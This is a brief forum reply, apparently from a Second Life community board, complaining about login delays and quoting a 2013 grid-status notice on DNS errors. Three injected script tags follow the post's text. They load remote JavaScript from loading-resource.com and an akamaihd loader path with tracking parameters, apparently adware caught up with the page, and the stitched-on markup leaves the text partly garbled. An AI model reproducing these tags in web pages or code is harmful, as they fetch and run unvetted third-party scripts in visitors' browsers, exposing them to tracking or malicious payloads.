same problem problem i'm 4 hour that i wait to log in... but u can controll here http://status.secondlifegrid.net/category/slgridstatus/
Scattered Reports of DNS Errors on LoginWednesday, February 13th, 2013[Posted 10:00 am PST, 13 February 2013] Some Residents are reporting DNS errors attempting to log in to Second Life. We’re investigating the issue.
<script type="text/javascript" src="https://loading-resource.com/data.js.php?i={3D11E00A-541B-491F-B893-1F87DA69A911}&d=2012-6-18&s=http://community.secondlife.com/t5/forums/replypage/board-id/sla_deutsch/message-id/1331"></script> <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.dataLoaded"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>